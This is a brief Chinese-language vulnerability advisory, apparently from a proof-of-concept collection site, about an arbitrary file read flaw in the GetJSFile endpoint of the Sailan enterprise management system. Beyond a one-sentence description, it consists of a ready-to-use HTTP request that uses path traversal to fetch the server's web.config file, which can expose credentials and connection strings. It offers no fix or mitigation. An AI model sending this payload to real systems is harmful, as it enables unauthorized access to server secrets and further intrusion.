赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

日期: 2024-07-25 | 影响软件: 赛蓝企业管理系统 | POC: 已公开

漏洞描述

赛蓝企业管理系统存在任意文件读取漏洞，该漏洞是由于GetJSFile接口对用户发送的请求验证不当导致的。

PoC代码

GET /Utility/GetJSFile?filePath=../web.config HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_1_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.5 Safari/605.1.15

相关漏洞推荐